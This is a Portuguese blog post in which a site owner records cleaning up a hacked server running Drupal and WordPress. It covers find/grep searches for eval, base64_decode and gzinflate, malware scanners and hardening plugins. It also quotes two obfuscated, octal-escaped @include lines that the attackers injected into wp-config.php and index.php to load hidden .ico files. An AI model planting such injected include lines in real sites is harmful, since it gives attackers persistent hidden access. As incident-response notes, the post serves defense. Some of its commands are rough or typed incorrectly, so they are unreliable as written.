Pular para o conteúdo

Fui hackeado no servidor novo. Como recuperar de um hack com drupal e wordpress.

captura_de_tela_2019-02-09_16

Bom, uso drupal e wordpress. Devo ter sido hackeado há anos, quando ainda usava o PHP-Nuke. Depois, com todas as medidas que tomo, não fui mais. Mas parece que ao mudar de servidor esqueci de alguma coisa, ou o proprio servidor deixou algo aberto que o outro não deixava. Agora é correr atras do prejuizo. O Host sugeriu contratar o serviço da Sucuri que eles conseguem pela bagatela de uns 500 reais por site… Não vai rolar (Tem um aqui.). Vou fazer eu mesmo. E pensar 2x se vou continuar nesse servidor. Devo comecar a ler sobre o assunto.

Comecei a encontrar um monte de arquivo php com nome estranho em quase todas as pastas do servidor. E dentro deles código ofuscado. Não consigo ter certeza o que o código faz.

Rodei o Virus Scan do proprio servidor… encontrou varios arquivos comprometidos, mas longe de identificar todos que eu estava vendo.

Encontrei esse artigo excelente para identificar aquivos comprometidos.  Esse outro artigo tambem da umas dicas para encontrar arquivos corrompidos. Esse é muito basico. O sitecheck da sucuri pode ajudar. Se estiver na lista negra do Google, ver isso.

rodei no terminal o seguinte:

find . type f name '*.php' | xargs grep l "eval *(" color
find . type f name '*.php' | xargs grep l "base64_decode *(" color
find . type f name '*.php' | xargs grep l "gzinflate *(" color
e comecaram a aparecer mais arquivos comprometidos. É.. o negocio ta feio, mas vou conseguir.
Bom, são varios sites drupal e wordpress e alguns html.
Para sites vazios:
apaguei tudo e instalei novamente…
Hardening:
 
1) remover arquivos obvios que não fazer parte do diretorio do drupal. No olho mesmo
2) upload de versão limpa do drupal na mesma pasta, copiar todos os arquivos em cima do que foi hackado
3) instalar o plugin drupal hacked -> rodar e ver quais são os arquivos comprometidos.
4) reinstalar os plugins comprometidos com drush pm-download
5) os que não for possivel, fazer o download e upload pelo file manager
6) verificar arquivo settings.php
7) da uma olhada na pasta cgi-bin e na .well-kown (ou qualquer outra pasta oculta)   o index.php criado faz um include daque arquivo ico escondido…
como nao faz sentido um ico escondido, comeco a lista-los

find . -name ".*.ico" -ls

 

find . -name ".*.ico" -delete
 
 
Uma ideia era baixar a lista de modulos do drupal e reinstalar tudo usando drush. Achei esse drupwn que parece fazer isso, mas não testei essa ideia (achei nesse artigo aqui).
 
Depois tem que endurecer a segurança… hardening (artigo)
 
 
) Instalei o plugin da Sucuri
– retira/apaga arquivos que ele identifica como comprometidos. O sucuri funciona bem para achar os arquivos extras, que nao deveriam estar no diretorio, principalmente no raiz.
-reinstala plugins e modulos (os plugins premiums não são reinstalados!!!) Ler aqui
– gerar novos secretkeys
hardenings:
– ligar todos
 
) Instalei plugin do iControlWP
Shieldsecurity
ligar funcoes de seguranca que ficaram vermelhas no dashboard do shieldsecurity
apagar arquivos desconhecidos
corrigir arquivos core
 
 
rodar no terminal 

find wp-content/uploads -type f -name '*.php'

para ver se tem algum arquivo executavel no diretorio de upload

Mesmo fazendo tudo isso, encontrei uma coisa estranha no wp-config

 
/*2882d*/
@include "\057hom\145/xv\145ins\143o/v\141riz\145son\154ine\056com\057wp-\151ncl\165des\057fon\164s/.\065455\070060\056ico";
/*2882d*/ 
 
que apontava para um arquivo oculto (com . na frente) e extensão .ico, mas com codigo muito muito estranho dentro
descobri que esse arquivo estranho aparece quando faz a busca de arquivos no Securityshield (Varredura/Scan)
 
Fazer scan com o Wordfence tambem
 
 
Instalei um scanner de malware em PHP (Achei outros aqui e aqui e aqui e aqui e aqui). com o comando
git clone https://github.com/scr34m/php-malware-scanner
e depois rodei o seguinte comando:
php scan.php -d ~/
descobri que so procura no php assim, então mudei para 
php php-malware-scanner/scan.php -kpt -e ico -e json -e js -e php -d ~/
 
Apareceram vários arquivos comprometidos… em torno de 1000. Bom, vou tentando apagá-los manualmentr, mas enquanto isso vou fazer algo mais. Coloquei para rodar outro PHP Malware scanner  e deixei rodando. Como são mais de 23mil arquivos, vai levar em torno de 46 minutos.
 
 
 
descobri que é possivel decodificar o codico ofuscado de PHP que estao nos arquivos index.php:

@include "\057home\057xvei\156sco/\146erti\154idad\145.org\057modu\154es/n\157de/.\0670747\0658a.i\143o";

é só copiar e colar no UnPHP. O arquivo que foi apontado por ele tem que ser apagado

É possivel achar também todos os arquivos com 8 caracteres .php que lotam os diretorios com esse comando
find . -type f | egrep './[a-z]{8}\.php'

Para procurar todos os arquivos index.php no servidor:

find . -name index.php -size -300c -size +40c  

so nao descobri como evitar achar um no meio do wordpress que é legitimo. ainda estou pesquisando

 

////
descobri que o virus é colocado em um arquivo php ou 2 em cada diretorio, bem longe da raiz. ele é colocado no inicio de um arquivo legitimo, então é um arquivo que tem doi <?php <?php dentro dele…. vou descobrir como achar todos
criei este Regex para achar um texto com duas aberturas de php: <\?php.+?(?=<\?php)
estou testando este comando aqui: grep -rnw -e "<\?php.+?(?=<\?php)" .

demorando muito… vamos ver só nos arquivos php

egrep -rl –include="*.php" -e "<\?php.+?(?=<\?php)" .

não foi tão util, vários arquivos do drupal e do wordpress fazem isso e são legitimos

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.